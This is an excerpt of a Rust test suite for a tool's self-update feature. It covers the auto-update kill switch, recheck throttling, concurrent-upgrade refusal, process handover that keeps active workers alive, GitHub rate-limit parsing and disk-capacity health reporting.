24628    /// [`should_spawn_recheck`] must refuse for the same two reasons
24629    /// [`Checker::new`](crate::updater::Checker::new) and `upgrade_post`
24630    /// already do: `mode = "off"` and the `MAGI_NO_AUTOUPDATE` kill switch.
24631    /// Purely a predicate over config and the environment - no network, no
24632    /// disk, no runtime - so unlike the fixture-based tests around it this
24633    /// one needs neither.
24634    #[test]
24635    fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
24636        assert!(!should_spawn_recheck(&crate::config::Update {
24637            mode: UpdateMode::Off,
24638            interval: None,
24639            auto_restart: false,
24640        }));
24641
24642        // SAFETY: single-threaded as far as this variable goes, the same
24643        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
24644        unsafe {
24645            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
24646        }
24647        let killed = should_spawn_recheck(&crate::config::Update {
24648            mode: UpdateMode::Notify,
24649            interval: None,
24650            auto_restart: false,
24651        });
24652        unsafe {
24653            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
24654        }
24655        assert!(
24656            !killed,
24657            "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
24658             one-time startup check"
24659        );
24660
24661        assert!(should_spawn_recheck(&crate::config::Update {
24662            mode: UpdateMode::Notify,
24663            interval: None,
24664            auto_restart: false,
24665        }));
24666    }
24667
24668    /// [`recheck_poll_period`] must track a configured `[update] interval`
24669    /// shorter than its own default ceiling - a fixed sleep here would leave
24670    /// an operator's short interval waiting on the next wake-up instead of on
24671    /// `should_check`, which is the same bug this whole task exists to fix,
24672    /// just one level down.
24673    #[test]
24674    fn recheck_poll_period_tracks_a_short_configured_interval() {
24675        let short = crate::config::Update {
24676            mode: UpdateMode::Notify,
24677            interval: Some("1m".to_owned()),
24678            auto_restart: false,
24679        };
24680        let period = recheck_poll_period(&short);
24681        assert!(
24682            period <= Duration::from_secs(30),
24683            "a one-minute interval must wake the task far sooner than the \
24684             default ceiling, or the deck would not notice within the \
24685             interval the operator configured: got {period:?}"
24686        );
24687
24688        let default = crate::config::Update {
24689            mode: UpdateMode::Notify,
24690            interval: None,
24691            auto_restart: false,
24692        };
24693        assert_eq!(
24694            recheck_poll_period(&default),
24695            UPDATE_RECHECK_POLL_MAX,
24696            "the default day-long interval should poll at the (capped) \
24697             ceiling rather than needlessly often"
24698        );
24699    }
24700
24701    /// [`update_recheck_due`] must not repeat a check made moments ago, the
24702    /// same throttle `updater::Checker::should_check` already gives the
24703    /// CLI's notify mode. Built over an explicit state file via
24704    /// `Checker::for_test`, never `Checker::new`, so this cannot read or
24705    /// write the operator's real `last_update_check.json` - and therefore
24706    /// cannot flake on whatever that file happens to say on the machine
24707    /// running the test.
24708    #[test]
24709    fn recheck_skips_the_network_before_the_interval_elapses() {
24710        let dir = TempDir::new().expect("temp dir");
24711        let path = dir.path().join("state.json");
24712        let state = kaishin::UpdateCheckState {
24713            last_checked_unix: jiff::Timestamp::now().as_second() as u64,
24714            last_known_latest: None,
24715            last_known_url: None,
24716        };
24717        kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
24718
24719        let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
24720        assert!(
24721            !update_recheck_due(&checker, None),
24722            "a check made moments ago must not be repeated before the \
24723             configured interval elapses"
24724        );
24725    }
24726
24727    /// An upgrade this deck already started must not be raced by a recheck
24728    /// that discovers a newer release mid-install - regardless of what
24729    /// `should_check` says, which is why the state file here is missing
24730    /// entirely: read alone, that alone would answer "never checked, go
24731    /// ahead".
24732    #[test]
24733    fn recheck_defers_to_an_upgrade_already_in_flight() {
24734        let dir = TempDir::new().expect("temp dir");
24735        let path = dir.path().join("state.json");
24736        let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
24737        let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
24738
24739        assert!(
24740            !update_recheck_due(&checker, Some(&progress)),
24741            "a recheck must not run while an upgrade this deck started is \
24742             still moving"
24743        );
24744    }
24745
24746    #[tokio::test]
24747    async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
24748        // The same env var the background check honours (`disabled_by_env`)
24749        // must also stop a button press before it ever calls
24750        // `Checker::newer_release` - an operator who set `MAGI_NO_AUTOUPDATE`
24751        // means "never contact GitHub from this process", and a tap on the
24752        // upgrade button must not override that any more than a broken
24753        // `magi.toml` may. Left unset, this fixture's default config would
24754        // otherwise reach a real, unauthenticated GitHub call.
24755        //
24756        // SAFETY: single-threaded as far as this variable goes - nothing else
24757        // in this binary reads `MAGI_NO_AUTOUPDATE` concurrently, the same
24758        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
24759        unsafe {
24760            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
24761        }
24762        let fx = Fixture::start().await;
24763        let res = fx.post("/api/upgrade", None).await;
24764        unsafe {
24765            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
24766        }
24767        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
24768        let body = res.json();
24769        assert!(body["to"].is_null(), "there was no release to move to");
24770        assert!(body["parked"].is_null(), "and nothing was parked");
24771        assert!(
24772            body["detail"]
24773                .as_str()
24774                .unwrap()
24775                .contains("disabled by MAGI_NO_AUTOUPDATE"),
24776            "{body:?}"
24777        );
24778    }
24779
24780    #[test]
24781    fn auto_upgrade_decision_respects_policy_and_failed_tags() {
24782        use AutoUpgradeDecision::{Skip, Trigger};
24783        let mut cfg = Update::default();
24784        assert!(matches!(
24785            auto_upgrade_decision(&cfg, false, false, "v2", None),
24786            Skip(_)
24787        ));
24788        cfg.auto_restart = true;
24789        assert_eq!(
24790            auto_upgrade_decision(&cfg, false, false, "v2", None),
24791            Trigger
24792        );
24793        for (disabled, moving, failed) in [
24794            (true, false, None),
24795            (false, true, None),
24796            (false, false, Some("v2")),
24797        ] {
24798            assert!(matches!(
24799                auto_upgrade_decision(&cfg, disabled, moving, "v2", failed),
24800                Skip(_)
24801            ));
24802        }
24803        assert_eq!(
24804            auto_upgrade_decision(&cfg, false, false, "v3", Some("v2")),
24805            Trigger
24806        );
24807        cfg.mode = UpdateMode::Off;
24808        assert!(matches!(
24809            auto_upgrade_decision(&cfg, false, false, "v2", None),
24810            Skip(_)
24811        ));
24812    }
24813
24814    fn fail_test_upgrade(_: PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
24815        Box::pin(async { anyhow::bail!("test installer failed") })
24816    }
24817
24818    static TEST_AUTO_HANDOVERS: std::sync::LazyLock<Mutex<HashMap<PathBuf, Arc<Notify>>>> =
24819        std::sync::LazyLock::new(Mutex::default);
24820
24821    fn test_replace_and_signal_handover(
24822        home: PathBuf,
24823    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
24824        Box::pin(async move {
24825            if let Some(mut progress) = updater::read_progress(&home) {
24826                progress.advance(updater::Stage::Replaced);
24827                updater::write_progress_logged(&home, &progress);
24828            }
24829            if let Some(signal) = TEST_AUTO_HANDOVERS
24830                .lock()
24831                .unwrap_or_else(PoisonError::into_inner)
24832                .remove(&home)
24833            {
24834                signal.notify_one();
24835            }
24836            Ok(())
24837        })
24838    }
24839
24840    #[tokio::test]
24841    async fn auto_upgrade_guards_opt_in_legacy_concurrency_and_failed_tags() {
24842        let home = TempDir::new().unwrap();
24843        let mut ui = idle_ui(&home);
24844        ui.repo = home.path().to_path_buf();
24845        // Every successful trigger in this test uses this seam, never the installer.
24846        ui.upgrade_runner = fail_test_upgrade;
24847        let ui = Arc::new(ui);
24848        let latest = |tag: &str| {
24849            Some(kaishin::LatestRelease {
24850                tag_name: tag.into(),
24851                html_url: String::new(),
24852            })
24853        };
24854
24855        // Opt-in default (`auto_restart = false`) does nothing.
24856        assert_eq!(
24857            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
24858                .await
24859                .status(),
24860            StatusCode::NO_CONTENT
24861        );
24862        assert!(updater::read_progress(home.path()).is_none());
24863
24864        // `mode = "off"` disables automatic updates even when `auto_restart = true`.
24865        std::fs::write(
24866            home.path().join("magi.toml"),
24867            "[update]\nmode = \"off\"\nauto_restart = true\n",
24868        )
24869        .unwrap();
24870        assert_eq!(
24871            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
24872                .await
24873                .status(),
24874            StatusCode::NO_CONTENT
24875        );
24876        assert!(updater::read_progress(home.path()).is_none());
24877
24878        std::fs::write(
24879            home.path().join("magi.toml"),
24880            "[update]\nauto_restart = true\n",
24881        )
24882        .unwrap();
24883
24884        // Missing detected release skips without re-querying.
24885        assert_eq!(
24886            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, None)
24887                .await
24888                .status(),
24889            StatusCode::NO_CONTENT
24890        );
24891        assert!(updater::read_progress(home.path()).is_none());
24892
24893        // Legacy embedded scheduler is still refused.
24894        let legacy_pid = std::process::id().wrapping_add(1).max(1);
24895        std::fs::write(
24896            home.path().join("daemon.json"),
24897            serde_json::json!({
24898                "schema": 2,
24899                "pid": legacy_pid,
24900                "updated_at": Timestamp::now().to_string(),
24901                "idle": true,
24902            })
24903            .to_string(),
24904        )
24905        .unwrap();
24906        assert_eq!(
24907            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
24908                .await
24909                .status(),
24910            StatusCode::CONFLICT
24911        );
24912        assert!(updater::read_progress(home.path()).is_none());
24913        std::fs::remove_file(home.path().join("daemon.json")).unwrap();
24914
24915        // Concurrent upgrade guard refuses while the request gate is held.
24916        let gate = ui.upgrade_gate.lock().await;
24917        assert_eq!(
24918            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
24919                .await
24920                .status(),
24921            StatusCode::CONFLICT
24922        );
24923        drop(gate);
24924
24925        // Active chat turns no longer defer automatic upgrades.
24926        ui.talk_turns.lock().unwrap().live.insert("busy".into());
24927        assert_eq!(
24928            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
24929                .await
24930                .status(),
24931            StatusCode::ACCEPTED
24932        );
24933        let progress = updater::read_progress(home.path()).unwrap();
24934        assert_eq!(progress.trigger, updater::UpgradeTrigger::Auto);
24935        assert_eq!(progress.stage, updater::Stage::Downloading);
24936        assert_eq!(
24937            begin_upgrade(&ui, updater::UpgradeTrigger::Manual, None)
24938                .await
24939                .status(),
24940            StatusCode::CONFLICT
24941        );
24942        assert!(progress.parked_run.is_none());
24943        assert!(ui.start_detached_loop().await.is_err());
24944        assert!(ui.start_loop(None).is_err());
24945        assert!(ui.begin_resume("late").is_err());
24946        assert_eq!(
24947            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
24948                .await
24949                .status(),
24950            StatusCode::NO_CONTENT
24951        );
24952        tokio::time::timeout(Duration::from_secs(2), async {
24953            while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
24954                tokio::task::yield_now().await;
24955            }
24956        })
24957        .await
24958        .unwrap();
24959        let progress = updater::read_progress(home.path()).unwrap();
24960        assert_eq!(progress.stage, updater::Stage::Failed);
24961
24962        // Same-release failure is suppressed for automatic retries.
24963        assert_eq!(
24964            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
24965                .await
24966                .status(),
24967            StatusCode::NO_CONTENT
24968        );
24969
24970        // Manual retry still uses the shared path for the same tag.
24971        let result = upgrade_checked(&ui, "old".into(), Ok(latest("v999.0.0")));
24972        assert_eq!(
24973            finish_upgrade_request(&ui, result).status(),
24974            StatusCode::ACCEPTED
24975        );
24976        assert_eq!(
24977            updater::read_progress(home.path()).unwrap().trigger,
24978            updater::UpgradeTrigger::Manual
24979        );
24980        tokio::time::timeout(Duration::from_secs(2), async {
24981            while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
24982                tokio::task::yield_now().await;
24983            }
24984        })
24985        .await
24986        .unwrap();
24987
24988        // A newer release tag clears suppression for automatic updates.
24989        assert_eq!(
24990            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.1"))
24991                .await
24992                .status(),
24993            StatusCode::ACCEPTED
24994        );
24995        assert_eq!(
24996            updater::read_progress(home.path()).unwrap().trigger,
24997            updater::UpgradeTrigger::Auto
24998        );
24999        tokio::time::timeout(Duration::from_secs(2), async {
25000            while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
25001                tokio::task::yield_now().await;
25002            }
25003        })
25004        .await
25005        .unwrap();
25006    }
25007
25008    #[tokio::test]
25009    async fn auto_upgrade_hands_over_without_waiting_for_active_task_chat_or_service_workers() {
25010        let home = TempDir::new().unwrap();
25011        std::fs::write(
25012            home.path().join("magi.toml"),
25013            "[update]\nauto_restart = true\n",
25014        )
25015        .unwrap();
25016        let mut ui = idle_ui(&home);
25017        ui.repo = home.path().to_path_buf();
25018        ui.upgrade_runner = test_replace_and_signal_handover;
25019        let ui = Arc::new(ui);
25020
25021        let workers = [
25022            ("111111", 1_u64, "task", "task:active-task", 41_001_u32),
25023            ("222222", 2_u64, "chat", "chat:active-chat", 41_002_u32),
25024            (
25025                "333333",
25026                3_u64,
25027                "daemon-service",
25028                "service:maintenance",
25029                41_003_u32,
25030            ),
25031        ];
25032        let mut exec_leases = Vec::new();
25033        for (id, sequence, kind, key, pid) in workers {
25034            let dir = home.path().join("workers/jobs").join(id);
25035            std::fs::create_dir_all(&dir).unwrap();
25036            let payload = if kind == "chat" {
25037                serde_json::json!({ "talk": "active-chat" })
25038            } else {
25039                serde_json::json!({})
25040            };
25041            let job = crate::worker::Job {
25042                id: id.into(),
25043                sequence,
25044                kind: kind.into(),
25045                key: key.into(),
25046                payload,
25047                generation: "gen-old".into(),
25048                version: Some("0.1.0".into()),
25049                status: crate::worker::Status::Running,
25050                result: None,
25051                pid: Some(pid),
25052                created_at: 1,
25053                finished_at: None,
25054            };
25055            std::fs::write(dir.join("job.json"), serde_json::to_vec(&job).unwrap()).unwrap();
25056            exec_leases.push(crate::worker::execution_lease_for_test(
25057                &dir.join("live.lock"),
25058            ));
25059        }
25060        let task_lease = crate::worker::try_lease(home.path(), "task:active-task")
25061            .unwrap()
25062            .expect("free task lease");
25063        let chat_lease = crate::worker::try_lease(home.path(), "chat:active-chat")
25064            .unwrap()
25065            .expect("free chat worker lease");
25066        let service_lease = crate::worker::try_lease(home.path(), "service:maintenance")
25067            .unwrap()
25068            .expect("free service lease");
25069        let chat_turn = ui
25070            .begin_talk_turn("active-chat-turn")
25071            .expect("claim chat turn")
25072            .expect("free chat turn");
25073        assert_eq!(crate::worker::observe_active(home.path()).unwrap().len(), 3);
25074
25075        // An unreadable reservation must defer replacement, not look like an
25076        // idle scheduler. Once repaired, the same release can still proceed.
25077        let corrupt = home.path().join("workers/jobs/444444");
25078        std::fs::create_dir_all(&corrupt).unwrap();
25079        std::fs::write(corrupt.join("job.json"), "{").unwrap();
25080        let latest = || {
25081            Some(kaishin::LatestRelease {
25082                tag_name: "v999.0.0".into(),
25083                html_url: String::new(),
25084            })
25085        };
25086        let refused = begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest()).await;
25087        assert_eq!(refused.status(), StatusCode::INTERNAL_SERVER_ERROR);
25088        assert!(updater::read_progress(home.path()).is_none());
25089        std::fs::remove_dir_all(corrupt).unwrap();
25090
25091        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
25092            .await
25093            .expect("bind loopback");
25094        let address = listener.local_addr().expect("address");
25095        let served =
25096            tokio::spawn(axum::serve(listener, Arc::clone(&ui).shared_router()).into_future());
25097
25098        let handover_signal = Arc::new(Notify::new());
25099        TEST_AUTO_HANDOVERS
25100            .lock()
25101            .unwrap_or_else(PoisonError::into_inner)
25102            .insert(home.path().to_path_buf(), Arc::clone(&handover_signal));
25103
25104        let admission = ui.begin_admission().expect("admit");
25105        let response = begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest()).await;
25106        assert_eq!(response.status(), StatusCode::ACCEPTED);
25107        tokio::time::timeout(Duration::from_secs(2), handover_signal.notified())
25108            .await
25109            .expect("auto upgrade runner must reach handover");
25110        let replaced = updater::read_progress(home.path()).unwrap();
25111        assert_eq!(replaced.trigger, updater::UpgradeTrigger::Auto);
25112        assert_eq!(replaced.stage, updater::Stage::Replaced);
25113
25114        let successor_started = std::sync::atomic::AtomicBool::new(false);
25115        let handover = hand_over(home.path(), &ui.admissions, served, || {
25116            successor_started.store(true, std::sync::atomic::Ordering::SeqCst);
25117            Ok(1)
25118        });
25119        tokio::pin!(handover);
25120        // Short admission drain still waits for an in-flight persistence/reservation guard.
25121        std::future::poll_fn(|cx| {
25122            assert!(std::future::Future::poll(handover.as_mut(), cx).is_pending());
25123            std::task::Poll::Ready(())
25124        })
25125        .await;
25126        assert!(!successor_started.load(std::sync::atomic::Ordering::SeqCst));
25127        assert!(ui.begin_admission().is_err());
25128
25129        drop(admission);
25130        tokio::time::timeout(Duration::from_secs(2), handover)
25131            .await
25132            .expect("automatic handover must not wait for active workers")
25133            .expect("handover");
25134        assert!(successor_started.load(std::sync::atomic::Ordering::SeqCst));
25135
25136        let successor = bind_waiting(address)
25137            .await
25138            .expect("successor binds released address");
25139        assert_eq!(successor.local_addr().unwrap(), address);
25140
25141        let restarting = updater::read_progress(home.path()).unwrap();
25142        assert_eq!(restarting.trigger, updater::UpgradeTrigger::Auto);
25143        assert_eq!(restarting.stage, updater::Stage::Restarting);
25144        assert!(restarting.parked_run.is_none());
25145        assert!(restarting.parked_talks.is_empty());
25146
25147        let active_after = crate::worker::observe_active(home.path()).unwrap();
25148        assert_eq!(active_after.len(), 3);
25149        for (id, _, kind, key, pid) in workers {
25150            let job = active_after
25151                .iter()
25152                .find(|job| job.id == id)
25153                .unwrap_or_else(|| panic!("worker {id} must survive handover"));
25154            assert_eq!(job.kind, kind);
25155            assert_eq!(job.pid, Some(pid));
25156            assert_eq!(job.generation, "gen-old");
25157            assert_eq!(job.status, crate::worker::Status::Running);
25158            assert!(
25159                crate::worker::control(home.path(), key).unwrap().is_none(),
25160                "no park/stop control may be requested for {key}"
25161            );
25162        }
25163        assert!(
25164            !home.path().join("worker-parks").exists(),
25165            "automatic handover must never request worker parks"
25166        );
25167        assert!(chat_turn.owns(), "chat lease survives automatic handover");
25168        assert!(
25169            crate::worker::try_lease(home.path(), "task:active-task")
25170                .unwrap()
25171                .is_none()
25172        );
25173        assert!(
25174            crate::worker::try_lease(home.path(), "chat:active-chat")
25175                .unwrap()
25176                .is_none()
25177        );
25178        assert!(
25179            crate::worker::try_lease(home.path(), "service:maintenance")
25180                .unwrap()
25181                .is_none()
25182        );
25183
25184        let log = std::fs::read_to_string(updater::log_path(home.path())).unwrap_or_default();
25185        assert!(
25186            log.contains("auto-upgrade: beginning update and restart"),
25187            "{log}"
25188        );
25189        assert!(!log.contains("waiting for idle"), "{log}");
25190        assert!(!log.contains("idle;"), "{log}");
25191
25192        drop(successor);
25193        drop(chat_turn);
25194        drop(service_lease);
25195        drop(chat_lease);
25196        drop(task_lease);
25197        drop(exec_leases);
25198    }
25199
25200    fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
25201        let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
25202        p.stage = stage;
25203        p
25204    }
25205
25206    #[test]
25207    fn busy_stages_match_the_ui_set() {
25208        use crate::updater::Stage;
25209        assert!(APP_JS.contains(
25210            "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
25211        ));
25212        for s in [
25213            Stage::Downloading,
25214            Stage::Replaced,
25215            Stage::Parking,
25216            Stage::Restarting,
25217        ] {
25218            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
25219        }
25220        for s in [Stage::Done, Stage::Failed] {
25221            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
25222        }
25223        assert!(upgrade_in_motion(None).is_none());
25224    }
25225
25226    #[tokio::test]
25227    async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
25228        use crate::updater::Stage;
25229        for stage in [
25230            Stage::Downloading,
25231            Stage::Replaced,
25232            Stage::Parking,
25233            Stage::Restarting,
25234        ] {
25235            let fx = Fixture::start().await;
25236            let seeded = seeded_progress(stage);
25237            crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
25238            let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
25239                .expect("read");
25240
25241            let res = fx.post("/api/upgrade", None).await;
25242            assert_eq!(res.status, 409, "{stage:?}");
25243            let err = res.json()["error"].as_str().unwrap().to_owned();
25244            assert!(err.contains("already in progress"), "{err}");
25245            assert!(err.contains(stage.as_str()), "{err}");
25246
25247            let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
25248                .expect("read");
25249            assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
25250            let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
25251                .unwrap_or_default();
25252            assert!(!log.contains("signalling HANDOVER"), "{log}");
25253        }
25254    }
25255
25256    #[test]
25257    fn upgrade_retry_timing_only_parses_known_diagnostics() {
25258        assert_eq!(
25259            upgrade_retry_after("GitHub API rate limit exceeded (resets in 1h 2m 3s). Use a token"),
25260            Some(3723)
25261        );
25262        assert_eq!(
25263            upgrade_retry_after("GitHub secondary rate limit hit (retry after 1m). Slow down"),
25264            Some(60)
25265        );
25266        assert_eq!(
25267            upgrade_retry_after("GitHub API rate limit exceeded (retry now)"),
25268            Some(0)
25269        );
25270        for message in [
25271            "permission denied",
25272            "GitHub API rate limit exceeded",
25273            "GitHub rate limit (resets in unknown)",
25274            "GitHub rate limit (resets in 18446744073709551615d)",
25275        ] {
25276            assert_eq!(upgrade_retry_after(message), None, "{message}");
25277        }
25278    }
25279
25280    #[tokio::test]
25281    async fn upgrade_request_failure_survives_health_without_changing_successful_progress() {
25282        let home = TempDir::new().unwrap();
25283        let ui = Arc::new(idle_ui(&home).with_worktrees_root(home.path().join("wt")));
25284        ui.start_loop(None).unwrap();
25285        updater::write_progress(home.path(), &seeded_progress(updater::Stage::Done)).unwrap();
25286        let before = std::fs::read(updater::progress_path(home.path())).unwrap();
25287        let reason = "GitHub API rate limit exceeded (resets in 2m). Authenticate the request";
25288        let result = upgrade_checked(&ui, "0.1.0".into(), Err(anyhow::anyhow!(reason)));
25289        let response = finish_upgrade_request(&ui, result);
25290        assert_eq!(response.status(), StatusCode::INTERNAL_SERVER_ERROR);
25291        assert_eq!(response.headers()["retry-after"], "120");
25292        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
25293            .await
25294            .unwrap();
25295        let body: serde_json::Value = serde_json::from_slice(&bytes).unwrap();
25296        assert!(body["error"].as_str().unwrap().contains(reason));
25297        assert_eq!(body["retry_after_secs"], 120);
25298        assert!(body["retry_at"].as_u64().is_some());
25299        for _ in 0..2 {
25300            let view = health(State(ui.clone())).await.unwrap().0;
25301            let failure = serde_json::to_value(view.upgrade_request_error).unwrap();
25302            assert_eq!(failure, body);
25303        }
25304        assert_eq!(
25305            std::fs::read(updater::progress_path(home.path())).unwrap(),
25306            before
25307        );
25308        assert!(!ui.lock_loop().live.as_ref().unwrap().stop.stopped());
25309        assert!(!ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst));
25310        // A conflicting request must not erase the actionable earlier failure.
25311        let gate = ui.upgrade_gate.lock().await;
25312        assert_eq!(
25313            upgrade_post(State(ui.clone())).await.status(),
25314            StatusCode::CONFLICT
25315        );
25316        drop(gate);
25317        assert!(
25318            health(State(ui.clone()))
25319                .await
25320                .unwrap()
25321                .0
25322                .upgrade_request_error
25323                .is_some()
25324        );
25325        let out = upgrade_checked(&ui, "0.1.0".into(), Ok(None));
25326        assert_eq!(finish_upgrade_request(&ui, out).status(), StatusCode::OK);
25327        assert!(
25328            health(State(ui.clone()))
25329                .await
25330                .unwrap()
25331                .0
25332                .upgrade_request_error
25333                .is_none()
25334        );
25335        let live = ui.lock_loop().live.take().unwrap();
25336        live.stop.stop();
25337        live.handle.await.unwrap();
25338    }
25339
25340    #[tokio::test]
25341    async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
25342        use crate::updater::Stage;
25343        let repo = TempDir::new().expect("repo dir");
25344        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
25345            .expect("write magi.toml");
25346        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
25347        for stage in [Stage::Done, Stage::Failed] {
25348            crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
25349            let res = fx.post("/api/upgrade", None).await;
25350            assert_eq!(res.status, 200, "{stage:?}");
25351        }
25352        // No record at all, and the gate was released by the earlier calls.
25353        let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
25354        assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
25355    }
25356
25357    #[tokio::test]
25358    async fn an_upgrade_with_nothing_to_install_changes_nothing() {
25359        // `[update] mode = "off"` so `updater::Checker::new` returns `None`
25360        // and the route answers from its own logic.
25361        //
25362        // This test used to lean on the fixture's placeholder repo failing
25363        // config discovery, which left `mode = "notify"` - and a live,
25364        // unauthenticated call to the GitHub releases API inside a unit test.
25365        // GitHub allows 60 of those an hour per address, so the suite went red
25366        // on `macos-latest` and nowhere else, in bursts, and stayed red for as
25367        // long as somebody kept re-running it: every attempt spent another
25368        // request. Six reruns across four pull requests were charged to that
25369        // before it was read as a rate limit rather than a flake.
25370        //
25371        // What the assertion is about is the "already current" branch, which
25372        // is reached by there being no newer release *or* nowhere to look. The
25373        // second one needs no network and cannot be rate limited.
25374        let repo = TempDir::new().expect("repo dir");
25375        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
25376            .expect("write magi.toml");
25377        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
25378
25379        // It must answer 200 and leave the process alone: restarting for an
25380        // upgrade that did not happen parks the run in flight and drops every
25381        // connection to pay for nothing. A probe against a deck already on the
25382        // newest build did exactly that, which is how this case got its own
25383        // branch.
25384        let res = fx.post("/api/upgrade", None).await;
25385        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
25386        let body = res.json();
25387        assert!(body["to"].is_null(), "there was no release to move to");
25388        assert!(body["parked"].is_null(), "and nothing was parked");
25389        assert!(
25390            body["detail"]
25391                .as_str()
25392                .unwrap()
25393                .contains("nothing restarted"),
25394            "{body:?}"
25395        );
25396    }
25397
25398    async fn wait_for_disk_scan(state: &Arc<Mutex<DiskObservation>>) {
25399        tokio::time::timeout(Duration::from_secs(5), async {
25400            while state.lock().unwrap().in_flight {
25401                tokio::task::yield_now().await;
25402            }
25403        })
25404        .await
25405        .expect("capacity scan finished");
25406    }
25407
25408    fn disk_test_scope(home: &FsPath) -> DiskScope {
25409        DiskScope {
25410            runs: home.join("runs"),
25411            worktrees: home.join("worktrees"),
25412            cache: Some(home.join("cache")),
25413        }
25414    }
25415
25416    fn known_disk_capacity() -> DiskCapacity {
25417        DiskCapacity {
25418            free_bytes: Some(100),
25419            runs_bytes: Some(200),
25420            worktrees_bytes: Some(300),
25421            cache_bytes: Some(400),
25422        }
25423    }
25424
25425    #[tokio::test]
25426    async fn health_disk_cold_and_concurrent_requests_do_not_wait_for_capacity() {
25427        let home = TempDir::new().unwrap();
25428        std::fs::write(home.path().join("magi.toml"), "[update]\nmode = \"off\"\n").unwrap();
25429        let mut ui = delta_test_ui(home.path());
25430        let state = Arc::get_mut(&mut ui).unwrap();
25431        state.repo = home.path().to_owned();
25432        state.worktrees_root = home.path().join("worktrees");
25433        *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
25434        ui.monitor
25435            .worker_started
25436            .store(true, std::sync::atomic::Ordering::SeqCst);
25437        let cfg = deputy_config(&ui.repo);
25438        let scope = DiskScope::of(&ui, cfg.as_ref());
25439        let (started, reached) = tokio::sync::oneshot::channel();
25440        let (release, blocked) = std::sync::mpsc::channel();
25441        let cold = DiskObservation::observe(&ui.monitor.disk, scope, move |_| {
25442            started.send(()).unwrap();
25443            // A failed request assertion must also let the blocking worker exit.
25444            let _ = blocked.recv();
25445            known_disk_capacity()
25446        });
25447        assert!(cold.runs_bytes.is_none());
25448        tokio::time::timeout(Duration::from_secs(5), reached)
25449            .await
25450            .unwrap()
25451            .unwrap();
25452
25453        let requests: Vec<_> = (0..4)
25454            .map(|_| {
25455                let ui = ui.clone();
25456                tokio::spawn(async move { health(State(ui)).await.unwrap().0 })
25457            })
25458            .collect();
25459        // This is a causal independence check, not a five-second latency
25460        // benchmark. Leave room for unrelated filesystem/thread contention
25461        // when the entire unit suite runs concurrently.
25462        let completed = tokio::time::timeout(Duration::from_secs(60), async {
25463            for request in requests {
25464                let view = request.await.unwrap();
25465                let disk = serde_json::to_value(view.disk).unwrap();
25466                assert!(disk["runs_bytes"].is_null());
25467                assert!(disk["worktrees_bytes"].is_null());
25468                // Free space is a cheap live observation even while the
25469                // recursive capacity measurement remains blocked.
25470                assert!(disk["free_bytes"].is_u64());
25471            }
25472        })
25473        .await;
25474        if completed.is_err() {
25475            release.send(()).unwrap();
25476            wait_for_disk_scan(&ui.monitor.disk).await;
25477            panic!("health must return while the measurement is causally blocked");
25478        }
25479        assert!(ui.monitor.disk.lock().unwrap().in_flight);
25480        // No competing worker can have published while the first holds flight.
25481        assert!(
25482            ui.monitor
25483                .disk
25484                .lock()
25485                .unwrap()
25486                .capacity
25487                .runs_bytes
25488                .is_none()
25489        );
25490        release.send(()).unwrap();
25491        wait_for_disk_scan(&ui.monitor.disk).await;
25492        assert_eq!(
25493            ui.monitor.disk.lock().unwrap().capacity.runs_bytes,
25494            Some(200)
